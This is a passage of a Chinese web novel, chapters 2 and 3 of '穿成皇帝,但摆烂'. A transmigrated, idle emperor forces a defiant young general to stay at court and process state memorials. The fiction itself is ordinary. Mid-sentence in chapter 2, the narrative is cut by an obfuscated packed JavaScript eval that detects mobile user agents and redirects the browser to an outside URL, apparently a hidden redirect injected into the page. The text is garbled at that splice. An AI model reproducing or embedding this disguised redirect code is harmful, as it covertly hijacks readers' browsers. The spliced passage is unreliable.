《穿成皇帝,但摆烂》 2. 第 2 章 自从重生以后,闻幸的身体能量就很低,像是要把两辈子的觉都补回来似的,每天都睡不够。朝堂上折腾这么一通,回到福宁殿便又犯困,于是一觉就睡到了翌日正午。 阳光透过床幔缝隙照在闻幸的眼睑上,他的意识幽幽转醒,恍惚听见窗外传来一个声音:“宁将军,您就别为难咱们这些做下人的了,陛下说了,您今后就在御书房办差......” 闻幸微拧了一下眉,哑着惺忪的嗓子唤道:“李德全......” 声音太轻,门外的人没听见。 他深吸了口气,用力又唤一声:“李德全!” 这回老太监听见了,忙应了一声,小跑进屋。 闻幸望着帐顶,面无表情问道:“谁在外面?” 老太监道:“是宁将军,说要请陛下收回成命。” 又是“收回成命”这四个字,闻幸的头都要大了。 这个王朝的人是怎么回事?上上下下都不听命,难怪原主要卷生卷死,合着是满朝文武都摆烂,就他一个皇帝干活是吧? 他的声音压着愠怒:“让他滚去干活。” 老太监有些为难地看一眼外头,“老奴劝过了,他说有要事禀报,已经从昨日晌午候到现在了。” 闻幸下意识地换算了时间,也就是等了二十多个小时。 真的假的。 他睡了这么久吗? 心头那团无名火散了些,正犹豫要不要见人,便听李德全又道:“陛下,宁将军已经一日一夜水米未进了。” 闻幸看向窗外,一个如青松般笔直的颀长身影正站在院子里。 正是初秋时节,暑气未消,正午太阳高悬,热气蒸腾。 院子里的秋海棠蔫耷着花冠。 他摆摆手:“让他进来吧。” 他睡得太久,四肢又沉又酸,于是他索性不动弹了,任下人伺候他洗漱。 待到宁无劫被太监引进内殿时,便见穿着玉白色织锦寝衣的青年帝王依靠床上,正在净手。 “说吧,你要禀报什么?” 闻幸头也不抬,甩去水渍,从侍从手中接过帕子一根根地擦拭手指。 宁无劫的目光落在那双冷白的修长手指上。 “臣此次回京复命,是为寒铁关军需一事。朔风部三月前大军压境,西北战事吃紧。一月前,臣父上奏朝廷请求支援,却迟迟未得回应,臣父担心延误军机,这才派臣进京面圣。” “还望陛下准了军需之请,放臣回寒铁关助父兄御敌。” 听着这些话,闻幸在脑海里努力回忆历史上相关的事件。 破烂系统再次检测到了关键词,给一头雾水的他弹出提示—— 寒铁关。辰国边防重镇,永靖十二年,草原部落朔风部倾巢而出发动奇袭,宁远军抵抗半载有余。时任越骑将军宁无劫率军驰援,却在途中遭遇伏击,身负重伤未能赶到。 宁远军最终兵败,至此辰国国门洞开,连失十六郡,为之后的王朝覆灭埋下祸根。 点击查看详情>> 闻幸眯了眯眼。 所以历史上这一仗本来就是要败的,而且宁无劫不仅没能赶到还受伤了? 那还回去做什么? 不如留下来给他打工比较安全。 于是闻幸十分坦然地摇头,“不准。” “你的活在御书房,下去吧。”他下了逐客令。 宁无劫抿紧的唇线动了一下,脸颊皮肤下隐约透出牙关轮廓。良久,他直挺挺地双膝跪地,发出咚的一声。 “寒铁关危急,望陛下准了臣父奏请。” 闻幸看着跪下的人,扬了一下眉梢。 这一跪颇有些气势,浑身上下除了膝盖骨全都绷得笔直,尤其是那副脊梁,简直比钢筋还要直,倒是与他见惯了的朝臣们全然不同。 闻幸忽然心觉有趣,他往后一靠,曲掌托着太阳穴,反问:“朕若是偏不呢?” 少年的下颌线绷紧,薄唇上的皮肤因缺水而龟裂发白,许是因为在门外站了个通宵,一双眼眶发红,然而目光里却淬满了冰。 “臣进京之前已立下军令状,若请不来军需,便只好听凭军法处置。” 闻幸:...... 有没有军令状这回事闻幸不知道。但历史上,宁家兵败后就被抄了家,这位少年将军确实免不了受牵连,至于为什么宁家男丁都死绝了而这位却能逃出生天,甚至拉起一支叛军一路打进京城改朝换代,闻幸就不得而知也没兴趣知道了。 反正这军需他本来也没想不给,他要的从来就只是宁无劫这个人。 他盯着少年绯红的眼眶看了一会,最后无奈摆摆手,“军需朕准了。” “但是你必须留下。” 宁无劫落在身侧的双手暗暗地攥成了拳,依然跪着不动,神色凛然再次重复:“寒铁关正是用人之际,还请陛下放臣回去助父兄御敌。” 闻幸眯了眯眼,终于起身下榻,缓步走到少年面前,居高临下地道:“你要抗旨?” 在宁无劫的视线里,青年帝王未着寸缕的双足无声地踩在楠木铺就的地板上,那双足皙白修长,如玉雕就似也,精心修剪过的指甲像珍珠母贝一般光滑莹润。 他收回视线,不卑不亢:“臣不敢,只是臣心系父兄安危,即便身在朝中,只怕也无法全心全意完成陛下交代之事。批红干系重大,若是出了纰漏,臣一人性命事小,只怕贻误国家大事。” 闻幸冷笑,“那你就跪着吧,什么时候能尽心了什么时候起来。” 他说时冲门边角落一扬下巴,“滚去那边跪。” 宁无劫拧眉,果断起身大踏步走到门边,转身一提衣摆再次跪下。 闻幸打量少年笔挺的脊梁,心头嘀咕:倔驴。 此时,有下人通传太后驾到。 “怀玉,听闻你昨日在朝堂上......” 闻幸抬眼,看见一名约莫四十岁上下,身着华服的女子走了进来。 那是他的母后王弗唯。 太后并非他的生母。由于闻幸的生母是个胡姬,身份卑贱,并未得到任何位份,且刚生产后虚脱而亡了。而皇后无子,于是闻幸便被抱给皇后抚养,成为了拥有皇位第一继承权的嫡子。 女子的脚步在经过宁无劫身侧时顿住。 她目光审视地打量一眼跪地之人,“你就是陛下昨日点至御书房当值的宁无劫?” 宁无劫颔首,“是,太后娘娘。” “怎么跪着?” 闻幸懒声:“他抗旨不遵。” 听见这句,太后皱眉,“宁将军倒是胆子不小。” 宁无劫不卑不亢,将之前奏请回寒铁关的话又简要复述一遍。 太后闻言,颇为体恤地亲自躬身将宁无劫扶起,“好孩子,哀家知你忠心,起来吧。” 她说时走到闻幸身旁坐下,劝道:“事关边防,怀玉不如放他回去。哀家知你近日身子不好,需有人替你分担政务。但即便太傅不愿意,不是还有六部尚书么?” 她又看向宁无劫,道:“这事哀家做主了,你且回西北吧。” 闻幸拧眉,“不准。” “怀玉。”太后不悦道:“代帝批红如此重要的职位,怎能让一介武将担任?更何况他才十七岁。” 闻幸:“朕登基时才十一岁。” “那怎么能一样?”太后音量拔高,责备道:“怀玉,你近日是怎么了,从前你可是最听母后的话。” “母后知你得了心口疼的毛病,体谅你把政务交给朝臣们,可你也不能如此任性。难道满朝文武都用不得,非他不可吗?” 闻幸不容置疑:“非他不可。” 反正五年后天下都是宁无劫的了,让其他官员担任还有养虎为患之嫌,让宁无劫来干就完全没有这种顾虑,无非就是提前熟悉政务罢了,根本没差。 而且按照历史,自己可是要死在宁无劫手上的,与其放任宁无劫在外威胁自己的生命,还不如放在身边监控起来。待五年之期一到,他就找个机会出宫隐姓埋名,过上彻底躺平的退休生活。 完美。 寝殿安静了几息。 太后有些不可置信:“若是满朝文武都反对他呢?” 闻幸丧丧地躺进层层叠叠堆起来的靠枕里,望着帐顶恹恹道:“那这皇帝朕也不当了。” 当皇帝都当得不自由,不如不当。 宁无劫的瞳仁微颤了一下,目光莫测地看着闻幸。 这昏君,到底在胡说什么? “荒唐!” 太后噌地站起来。 见闻幸仍是一幅摆烂模样,她面色铁青,抬臂指向宁无劫,“他到底给你灌了什么迷魂汤?才头回进宫就让你如此失分寸,就算是看在宁远侯的份上你要抬举他,也不至于......” 她说到这里,不知想到了什么,狐疑地扭过头盯着少年那副几乎完美的面容,低声:“难不成......” 被太后这么盯着看,宁无劫不解地皱眉。 闻幸实在是不想跟太后废话了,他眸光微动,忽然捂着胸口发出吃痛声:“......疼......” 太后见他整个人都蜷缩起来,似乎疼得厉害,忙道:“怀玉,可是又心口疼了?快,传太医。” 闻幸有气无力地下逐客令:“看太医也无济于事,朕......休息一会就好,母后请回吧。” 李德全连忙拿了药来,毕恭毕敬对太后道:“娘娘,太医说了陛下这病需要静养,操劳不得。” 太后有些不甘心地绞紧帕子,似乎还要再劝,“可是......宁......” 闻幸烦了,如果方才还只是装疼,现下却因身为皇帝却处处掣肘而真真切切地疼了起来。 这一疼便一发不可收拾,他咬着牙,额间都渗出冷汗,怒声打断:“母后请回。” 这一声是命令的语气,太后几乎怀疑自己的耳朵,“怀玉......” 闻幸看着女子,狠戾目光里写满警告。 似乎从来没见闻幸露出过这样的表情,太后怔忡后退两步。 良久,才终于退让道:“......好......哀家不逼你了。” 她转身走出几步,与宁无劫擦肩而过时脚步一顿。 她侧目定定地审视宁无劫的脸,愠怒道:“是生得不错,不怪皇帝为了你......”她说到这里,不甘心地把后头的话都咽下,随后大步离开。 宁无劫不知是听明白了什么,瞳仁震颤。 侍从们忙碌着在他身旁穿梭,时而擦过他的袍裾。 他看着床榻上疼得冷汗涔涔的皇帝,暗暗咬牙。 ......昏君!! * 太后大步走出福宁殿,身旁侍从见她一脸愠怒,试探性地道:“娘娘,若是实在不行,要不咱们从族里也选几个样貌出挑的......” 太后斥道:“再出挑能有宁家这个出挑?” 侍从垂首,“可如若不这么做,难道要眼看着陛下将权柄分给宁家,那可是手握重兵的边将......” 太后睨一眼侍从:“他哪是要分权给宁家,他怕是想拉拢宁家,就为了......” 说到这里她顿了顿,回忆方才皇帝看向自己的眼神,目光一厉,狠狠地攥紧了帕子。 然而一秒后她又叹道:“此事也怪哀家,皇帝自十一岁登基,十二年来空置后宫,始终不肯立后,哀家早就该想到这一层。” “可惜现在已经晚了,他满心满眼只有那个宁家的,为了此人连皇位都不要了。” 侍从道:“那咱们就没别的办法了吗?” 太后回头看一眼福宁殿,思索片刻后,似是下定了某种决心一般,目光锐利几分。 * 福宁殿内一片混乱。 闻幸的心绞痛愈演愈烈,连呼吸都在疼,此刻已经疼得浑身汗湿,牙关紧咬。 他的手指狠狠掐着床沿,透出森白骨节。 意识逐渐混沌,他依稀听见老太监慌慌张张的声音。 “陛下,吃药了,您张开嘴。” 闻幸的意识已经不受控制,难以作出回应,只能凭借本能绷紧了全身的肌肉并咬牙抵抗这尖锐而剧烈的痛感。 见闻幸毫无反应,几近晕厥。李德全彻底慌了,他试图将闻幸的嘴撬开,可闻幸此时不知从哪里来的力气咬得死紧,他竟然没能撬动。 怕伤着皇帝,他不敢再动,于是扭头看向站在身后的宁无劫。 “宁将军,您会武功,劳烦帮帮忙。” 宁无劫盯着闻幸的脸,对方斜飞入鬓的秀眉此时因痛苦而紧紧揪起,紧闭的双目下睫羽剧烈震颤着。 汗水沿着额发滑落,在下颚凝结成大颗的汗珠,最终滴落下来浸湿一片前襟。 看起来,真的很疼。 “宁将军!” 宁无劫被唤回神,看向拿着药瓶一脸慌乱向他求救的老太监。 他眸色晦暗,犹豫了一下才终于下定决心抬步上前。 他一手掐着闻幸的下颌,另一手抬掌向李德全,“药给我。” 李德全拿出一颗细细的药丸放在他的掌心,“这药得放在陛下舌头下面,切不可咽下去。” 宁无劫捏着闻幸的指尖用力,牙关被他撬开了一条缝。 他翻掌捏起药丸,果断放进闻幸口中。 手指掀开舌尖,温热软滑的触感令他浑身一滞,从未有过的异样触感仿佛一道电流,从指尖沿着手臂一路传导到了心尖上。 宁无劫触电般收回手。 药效很快起了作用,方才还浑身绷紧的人逐渐放松下来。 宁无劫的目光一瞬不错地看着眼前人—— 睫羽轻颤,缓缓抬起,半阖眼睑下露出一弯蓝灰色眸子,被生理性的泪水浸湿,水光潋滟犹如碧波湖面。 宁无劫暗暗攥紧手指,试图将指尖那微弱的电流狠狠掐灭。 痛感渐渐消散,闻幸轻轻叹出一口气,终于意识回笼。 模糊的视线逐渐聚焦,眼前出现宁无劫有些古怪的面色。 闻幸捂着心口,找了个舒服的姿势陷进靠枕里,再没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16024450|178560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力气搭理这人。 此时御医匆匆赶到。 见了来人,宁无劫起身给御医腾出位置。 御医仔仔细细给闻幸把过脉,叮嘱道:“陛下没有大碍,这种病就是这样,来得快去得也快。” “不过陛下今后要注意了,切不可到疼极了才服药,需得警觉着些,稍有不适,便得先把药用了。” 闻幸轻轻地“嗯”了一声。 御医恭敬地退下,转身拉过李德全,压了声音道:“劳烦李公公千万注意着,下次别让陛下疼成这样了才服药,这病一旦愈演愈烈,到一发不可收拾之时,那药也无效了,恐有性命之忧。” 李德全闻言大为惊骇,连声称是,默默擦了把后怕的冷汗。 刚才要是没有宁将军,陛下怕是...... 李德全不敢往后想了。 宁无劫耳力好,这窃窃私语的对话悉数听见了,不由拧着眉看向额发汗湿的皇帝。 察觉一束视线直直地盯着自己,闻幸抬眼看过来,惨白的唇线微微扬了一下,哑声:“你想通了?” 宁无劫脸色一沉,果断起身回到门边角落,一扯衣摆咚地一声再次跪下。 闻幸嗤了声。 真够倔的。 李德全端了茶盏递给闻幸,半是自责半是提示道:“都怪老奴无能,只好请宁将军给陛下喂药。” 闻幸眯眼看向宁无劫,见对方跪得笔挺,目不斜视,即便已经在外头站了一日一夜,又在这里跪了小半日,依然气势不减。 唯有龟裂发白的唇,与一双愈发鲜红的眼眶昭示着对方的些许疲态。 李德全顺着闻幸的目光看一眼宁无劫,又提醒道:“陛下,宁将军许久水米未进,您看要不要......” 闻幸不语,端了茶盏垂眼抿茶。 李德全心知这便是允了,于是冲侍从们招手,“备膳。” 膳食送进房里,李德全看一眼跪在地上面无表情的宁无劫,又看一眼自顾喝茶的皇帝。见闻幸毫无让宁无劫起来吃的意思,不由暗暗无奈。 于是他命人端了矮桌放在宁无劫面前,一边布菜一边惭愧道:“委屈宁将军将就一下。” 宁无劫看见矮桌上摆满精致菜肴,茶盏里斟着金骏眉。 什么意思? 打一巴掌再给颗甜枣,想驯服他心甘情愿留下? 闻幸此时已经彻底从心疼感中缓过劲来,将茶碗放置一旁,慵懒地撩起眼皮望去,便见宁无劫依然笔直跪着,看着自己的目光有些莫测。 闻幸一扬眉梢。 “怎么?怕朕给你下毒?” 宁无劫不语。 闻幸嗤道:“屡次抗旨不遵,朕还以为你不怕死呢。” 宁无劫微微拧了一下眉,冷声:“臣不敢。” 说完端起茶盏一饮而尽,果断提起筷子。 筷尖点着桌案,看着一桌的菜式,他深深地闭了闭眼,决定放过自己的肚子。 吃饱了才有力气跟这个昏君周旋。 宁无劫心道。 闻幸以一个慵懒而闲适的姿势躺靠榻上,看着宁无劫无声地用饭。 残阳余晖越过窗楞照耀在宁无劫的侧脸上,勾勒出少年俊美无俦的面部轮廓。 虽然那人垂着眼睑,但闻幸似乎从对方的眼底余光中,品出了一闪即逝的愤懑与屈辱来。 咦?屈辱? 为了印证自己的猜想,闻幸起身下榻,缓缓走了过去。 一双赤足出现在宁无劫的视线里,玉白色的下摆遮住了大半脚面,只露出竹节般修长的脚趾,肤色比那寝衣更白三分,秀气极了。 宁无劫不解地抬头,视线正与闻幸相撞。 只见对方居高临下地看着自己,闻幸忽然勾唇一笑,招手命人端了躺椅过来,就这么坐下了。 宁无劫:? 躺椅摇摇晃晃,闻幸一手轻打了把羽扇,缓缓地扇风。 一股凉风裹挟着龙涎香拂至鼻尖。 宁无劫终于忍无可忍地放下碗筷,“陛下。” 闻幸挑眉看他,“嗯?” 宁无劫冷脸,“要做什么?” “看你啊。”闻幸答得爽快。 他说时,饶有趣味地看着宁无劫的反应,想从对方的目光里再挖掘出方才察觉到的情绪来。 却见宁无劫拧着眉目光复杂地看他。 然而耳根却是倏地浮现一抹淡嫣红。 虽然极其淡,但却没能逃过闻幸的眼睛。 他目光微微亮。 赫赫威名,杀伐果断的周武帝,年少时还会脸红吗? 他来了兴致,又道:“你吃你的。” 宁无劫哪里还吃得下饭,他唇角一扯,木着脸道:“臣有什么可看的。” 言下之意快走开。 闻幸勾唇,“你好看。” 宁无劫:...... 他别过脸去,咬紧的牙关轮廓都隐约透出,殊不知自己的耳根却因此完全暴露在闻幸的视线里。 肉眼可见地更红了。 穿来这么久,闻幸头一次发现了好玩的东西。 他的眸子微微动,好像知道该怎么让这头倔驴乖乖去给他干活了。 看着被宁无劫搁置的碗筷,闻幸眸光一转道:“这就吃好了?饭量这么小吗?” 他说时提起筷子,夹了一片鱼脍递过去,“来,朕喂你。” 因为闻幸倾身而来,二人拉近距离,飘至宁无劫鼻底的龙涎香更馥郁了。 捏着筷子的手指仿若玉雕,近在咫尺。 宁无劫瞳孔瞪大,忽地后撤起身,看着闻幸的目光充满不可置信。 闻幸游刃有余地抬眼去看,终于在少年通红的眼眶里再次看见了那副屈辱又愤怒的神色。 好有趣啊。 虽然不明白这头倔驴到底在想什么,但好像他越靠近,对方越想躲。 他倒想看看这家伙能躲到哪里去。 闻幸放下筷子,捡起羽扇缓缓地扇着风,“朕让你起来了吗?今后你就天天跪着给朕养眼。” “你就算跪到天荒地老,朕也不会收回成命。” 闻幸说时,撩起纤长的眼睑,望着少年的目光里充满挑衅的意味,一字一顿道:“你这个人,朕要定了。” 宁无劫的眼眶被一团怒火倏地烧红了。 他垂着的双手紧攥成拳,露出森森骨节。 这个昏君! 见他一双薄唇咬得死紧,盯着自己的目光里都淬满了冰,闻幸被那束目光冻了一下,却仍是眼里藏笑,继续施压:“还不快跪着。” 宁无劫深深地闭眼,仿佛下了偌大的决心一般,终于沉声道:“陛下,不是要臣去御书房吗?” 闻幸噙笑,“想通了?” 宁无劫艰难地点了一下头。 闻幸挥挥扇子,“那便去吧。” 话音未落,宁无劫便霍然大踏步走出殿门外。 看着少年匆匆离去的背影,闻幸缓缓勾起一个笑,仰头躺回躺椅中,慢悠悠地摇晃着。 真有意思。 3. 第 3 章 宁无劫迈入御书房,眼前一幕令他脚步一滞。 成堆的奏折在偌大的书案上堆成了几座小山,甚至因为堆得太满,许多奏折都掉在了地上,把铺地的金砖都掩盖了。 宁无劫皱眉。 这到底是积压了多少? 他随手捡起一份折子,见封面右下角用朱笔写了个小字:贰。 打开后他扫了一眼,是个请安折。 正当他疑惑不解时,身后传来一个苍老的声音:“宁将军。” 宁无劫转过身,见是方秉渊,身后还跟着几名太监,捧了折子走进来。 “太傅大人。”宁无劫躬身行礼。 方秉渊将宁无劫扶起:“前日承蒙宁将军相救,老朽特来道谢。”说时后退一步,双手抱在身前毕恭毕敬地鞠了一躬。 宁无劫连忙托住老者:“太傅不必言谢。” 方秉渊颔首,“这些是积压在老朽那的奏折。”他说时示意太监将奏折放下。 太监们扫一眼被堆满的桌面,察觉似没地方放,又看见掉在地上的折子,于是躬身将折子往地上一丢。 哗啦—— 奏折在地上堆出几座小山峰,宁无劫一眼看见折子上标记着零。 方秉渊见状怒斥道:“奏折乃国之枢机,怎可如此对待!” 太监们纷纷跪下埋首谢罪。 方秉渊无奈,亲自躬身将奏折一封封捡起,宁无劫见状立即上前帮忙。 宁无劫见方秉渊十分认真地将桌案上的奏折摆放整齐,混乱的桌面一时间变得井然有序,竟腾出不少空间。 他亦将捡起的折子整齐叠好,依样放在桌案上。 宁无劫一面忙碌,一面不解地道:“为何会积压这许多?” 方秉渊叹了口气,无奈道:“陛下数月前得了心病,说是看不得折子,一看就要犯病,从那时起这些折子就不断积压。” 听见这句,宁无劫想起今日才看见皇帝心绞痛的模样,又想起御医说过若是严重会有性命之忧,不由眉心蹙起。 可是真的有人会因为看折子而犯病吗? 这怕不是昏君托病懒政? “后来政务实在积压太多,我等老臣联名请奏,要求陛下务必理政,陛下便想了这么个敏捷开发的法子。” 敏捷开发四个字听得宁无劫一愣。 见他不解,方秉渊拿起一本奏折,指着那角落上标记的数字道:“便是将折子的内容按程度分级。紧急又重要的便标记批零,重要不紧急的标批壹,其他一般的标批贰。批零是必须批完的,其他可以酌情延后。” “除批零交由老臣外,其他折子由六部酌情处理。” 宁无劫拧眉:“陛下就完全不管吗?” 方秉渊摇头:“却也并非如此。” “每隔半个月,陛下都会来御书房听我等禀报紧要事务。” 宁无劫眉心一松。 看来昏君也没有昏庸到底。 方秉渊看着长身玉立的少年,目光复杂地盯着那副俊脸看了一会,意有所指地道:“宁将军的这个位置,不好坐呀。” 宁无劫垂目:“圣命难为。” 方秉渊叹息,“即便陛下心意已决,可老臣身为臣子,又是陛下的老师,该说的话还是要说。” 他的意思已经很明显,他会去劝皇帝收回成命,并想看看宁无劫对此事的态度。 宁无劫怎会不明白,他一面码放着奏折一面道:“陛下虽如此,却也是因身体欠安,也算是情有可原,可若臣子不懂体恤陛下,一味以性命相胁,未免使君臣离心。” 方秉渊闻言,思忖了一会道:“确如宁将军所言。” “老朽身为帝师十八载,最是了解陛下的为人。他一向待人谦和,恭顺仁孝。从未......”说到这他想起前日在朝堂上,闻幸当着满朝文武的面直呼他的名讳,最近更是连他一面都不肯见,不由摇头叹气,“不曾想一朝缠绵病榻,便性情大变。” 宁无劫颔首,“陛下如今性情不比从前,太傅若是要劝,不如换个角度试试。” 方秉渊闻言,目光微动,忽而躬身一行礼道:“受教了。” 宁无劫忙将人扶起:“太傅乃是帝师,折煞我了。” 方秉渊颇为赞赏地看一眼宁无劫,拍拍他的肩:“英雄出少年啊。”说完便挥挥袖离开了。 宁无劫目送老者离开后,看一眼已经码放整齐的桌案,一提衣摆坐下。 御书房的灯火彻夜不息,一直亮到天明。 * 福宁殿的秋海棠开得正盛。 闻幸一觉睡到正午,才洗漱完毕用了饭,便到廊下赏花。 他刚弯腰坐进躺椅里,便听李德全道:“陛下,宁将军求见。” 他皱起眉,抬眼便见院子尽头站着一个颀长人影。 “又有何事?” 是上回吓唬得不够吗?这倔驴怎么又敢来了。 李德全讪笑着提醒:“陛下,本来今早就该去御书房听政了,宁将军等了半日不见您,才来求见的。” 闻幸眨眨眼,有些恍惚。 好像,是有什么会要开。 嘶...... 他揉了揉抽跳的眉心,想起当初颁布敏捷开发这个政令的时候,收到满朝文武一致反对,连太后都成天跑福宁殿来碎碎念,他被念得不耐烦,于是做了个让步,便是答应每半个月开一次会。 虽然对他来说意义不大,仅仅是重在参与,但是对于这个封建王朝来说,有皇帝参与的象征意义却是巨大的。 不过还好,上辈子是听下属汇报,现在是听朝臣汇报,走过场嘛,都差不多。 “让他过来吧,今日就不去御书房了。”他躺在椅子上懒懒道。 人影缓缓走近。 闻幸抬眼去看,见对方身着一身黛青色的直袖罗袍。长袍曳地,敛去些许锐意锋芒,平添几抹清贵风流。 少年神色淡淡,一双眼眶仍红着,许是熬过夜,气色并不算太好,但仍掩不去那副丰神俊朗的姿容。 闻幸本着欣赏美人的心态多看了两眼,却见对方身后跟着一名太监,正捧了一大摞折子,因折子堆得太高,遮去了太监几乎全部视线,险些撞上宁无劫的后背。 闻幸脸色一变,他只是听汇报的,搞这么多折子过来干什么,要他看吗? 光是想想他就快犯病了。 宁无劫面无表情地来到阶前行礼,“陛下,臣近日在御书房整理奏折共七百三十八封,现已全部处置完毕。” 听见这句,闻幸拧起的眉心微微一松。 都处置完了? 不愧是周武帝,这效率,六部几百个官员攒一块也不及他一个。 闻幸暗暗为自己挑人的眼光点赞。 宁无劫:“如请安折、钦天监天像等无需批复均已发回方略馆存档。涉及司法刑狱,监察密枢,官员调用等,臣已酌情批复。” 闻幸满意地点头,从冰鉴里摘了一颗葡萄丢进嘴里。 宁无劫:“然涉及军机、民生、钱粮等,臣以为均是关乎国祚之事,必须由陛下亲自过目,满朝上下无人可以越俎代庖。” 闻幸目光一冷,尚未开口,便见宁无劫从身后太监手上拿过一封折子,就要递过来。 闻幸扶额:“朕不看。” “所有折子你酌情批复即可,不用再来征询朕的意见。” 反正他也不懂治国理政,专业的事交给专业的人做不好吗? 他插手未必能做好,何况他现在一看见折子就心口疼。 批折子就是工作,工作会要他的命。 他严重怀疑自己一定是死得太痛苦,形成条件反射了。 似是对他的话早有所料,宁无劫将手一收,淡定地翻开奏折。 “淮南水灾后奏请缓征漕赋钱粮,列二十八县灾情,请以工代赈,征灾民修河道......” “宁无劫。”闻幸有点震惊,“你要抗旨?” 宁无劫不卑不亢地抬眼看他,“臣不敢。” 他起身一把抽过宁无劫手中的折子,丢给对方身后那名太监道:“你,把折子全部送回御书房。” 太监连连称是,抱着折子退了出去。 闻幸有些得意地看向宁无劫。 没折子了,看你还念什么。 少年漆黑的眸子如无波古井,看着闻幸镇定自若地开口,“请于无关报拨闲款内,先行暂借五成,给发即日兴工......”① 闻幸:...... 闻幸揉着抽跳的太阳穴。 很好,太好了,过目不忘是吧? 怎么办,怎么才能让这人闭嘴?再不闭嘴他真要犯病了。 他闭眼深吸一口气,忽而不知想到了什么,提步上前。 二人距离倏然拉近。 宽袍袍裾随风而动,那股龙涎香无孔不入地钻入宁无劫的鼻息间。 闻幸站在廊下,而宁无劫立在阶前,高差导致原本比他还高的少年,现下比他矮上半头。 他居高临下地伸手捏起少年的下巴,唇线噙着一抹笑意,缓缓凑近。 宁无劫被迫抬头,视线正撞见一双碧波般的蓝灰色眸子,那眸子被垂着的如扇睫羽半遮半掩,露出半壁辉光。 二人距离近到了无以复加的地步,甚至鼻尖相触。 宁无劫垂在身侧的双手倏然攥起。 昏君的脸近在咫尺,他索性闭上眼,压了声音继续道:“被水田地,无力农民酌借籽种......” 闻幸饶有趣味地看着宁无劫紧闭双眼,浑身绷紧,尽显愤懑。 玉白的耳根皮肤,像是滴入了一滴朱丹而迅速染红的画纸。 真不经逗。 “照例于秋成后,免息征收还仓。” 闻幸讶异挑眉。 虽然声音都是咬着牙关发出的,但这倔驴竟然还在坚持念折子。 看来得放大招了。 此时,有侍从通传:“陛下,太傅与六部尚书求见。” 闻幸本不想看见这群老头,但瞥见宁无劫泛着红的耳根,以及那双仍喋喋不休的气人的薄唇,他音色一沉:“宣。” 说完,他又凑到宁无劫耳侧,悄声道:“你再念,朕就亲你了。你想让大臣们都看见吗?” 宁无劫猛然睁眼后退两步,看着闻幸的目光里满是不可置信。 “昏......” “昏君”二字差一点就要脱口而出。 宁无劫倏地狠狠咬牙,终于闭了嘴,冷厉无比地看着闻幸。 简直没脸没皮! 闻幸提起羽扇坐回躺椅里,看着宁无劫那屈辱又愤怒至极的样子,心情倏地变得很好。 太监领着朝臣们走来。 众人行了礼,太傅方秉渊正欲开口,便被闻幸头也不抬地挥扇制止,“如果是来劝朕收回成命的话,太傅就不必说了。” 方秉渊叹了一声,撩起袍角跪下道:“老臣此次来,是来给陛下赔罪的。” 闻幸半阖着的眼睑抬起,视线扫向老头。 “未能体恤陛下的身体,是老臣之过。” “想了这几日,老臣也想通了,身为臣子,为陛下所用才是第一要务,若不能如此,老臣又如何忝居三公。” 闻幸冷笑,“所以太傅这是愿意为朕分忧了?” 之前他因为工作疼得死去活来的时候,这人身为老师怎么不体恤他? 现在他把政务全交给宁无劫了,这老头又跑出来说要体恤? 呵,晚了。 方秉渊无奈道:“宁将军年少有为,但毕竟资历不足,代帝批红恐贻误国事。况且此时西北战事吃紧,还是请陛下放宁将军回去吧。” 众臣纷纷垂首称是,“臣等附议。” 闻幸躺在躺椅上摇摇晃晃,悠悠道:“可是朕却觉得宁卿才是最合适的人选。” “朕直到今日才知,六部数月来竟积压了七百多封折子未处置,倒是宁卿几天的功夫便都处理完了。” 闻幸说时赞赏地看一眼宁无劫,又目光锐利扫向众人,“你们说,朕要你们何用?”

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后来他就索性不见大臣了。 反正都要亡国,怎么亡不是亡? 原主卷生卷死都救不回来的国家,他还费个什么劲? 他懒得纠缠这些,活动了这么久,已经耗尽了他今日份的能量。 好困,想睡觉。 他懒懒挥手,“此事就交给宁卿去查吧。” 宁无劫诧异望向闻幸,虽然他本也想主动请缨,但这件事隶属兵部,他来查就是越俎代庖,打的是兵部尚书的脸。 这昏君难不成想用他敲打徐重云? 徐重云震惊抬头,“陛下!” 不给人反驳的机会,闻幸闭上眼,懒声:“散了吧。” 即便有再多的争辩,此刻皇帝也听不进去了,被下来逐客令的朝臣们只得离开。 独方秉渊思索良久,再次试图劝谏道:“陛下太过爱重一人,于他来说绝非益事啊。” 听见这句宁无劫亦抬眼去看闻幸。 登高跌重,他被皇帝这样重用,不知要成为多少人的眼中钉,也不知这昏君能否听进去。 若真是爱他,就放手吧。 却见闻幸眼也不抬地道:“谁敢对宁卿不利,就是与朕作对,朕绝不会放过他。” 方秉渊瞳仁剧颤,“陛下!” 宁无劫亦不可思议地看向闻幸。 这昏君胡说什么! 闻幸没了耐心,“太傅请回。” 方秉渊无奈叹了口气,终于彻底死了劝谏的心,冲宁无劫投去一个抱歉的眼神后,拖着沉重的步子离开了。 闻幸本想回屋休息,睁开眼却见少年依然伫立原地,挑眉:“你怎么还不走?” 宁无劫沉沉闭眼,心道绝不能让这昏君胡作非为。 他冷着脸道:“陛下,方才淮南灾情处置折,准还是不准?” 闻幸震惊了。 这事竟然还没完吗? 这已经不是倔驴了,这是犟种。 他无语道:“准了。” 宁无劫颔首:“好。” 然而闻幸刚欲起身,便又听见宁无劫道:“接下来这封是奏请《丁随田转四策》折。两江田地十年来隐漏逾四十万顷 ,请令各州县重造田册......” “宁无劫。”闻幸揉着抽跳的额角,“你怎么回事?屡次抗旨不尊。” 宁无劫一提衣摆双膝下跪,“臣从七百多封折子中筛选出三十二封,具是关乎国本之事,牵一发而动全身,这些若是由臣擅自处置了,将来一旦动摇国本,臣亦难逃一死。” 少年挺着脊梁与闻幸对视,“然而抗旨不尊也是死,左右逃不过,倒不如请陛下现在便赐臣一死。” 闻幸看着跪在跟前的人,对方一双猩红眼眶此时湿漉漉的,似有万千委屈与不甘蓄在其间。 闻幸:...... 算了算了。 总折腾一个孩子干什么。 他躺回躺椅里,闭目摇扇,无奈道:“你念吧。” 宁无劫目光微亮,尚未张口,便听闻幸又道:“朕现在要睡了,在朕睡着之前能念多少,就看你的本事了。” 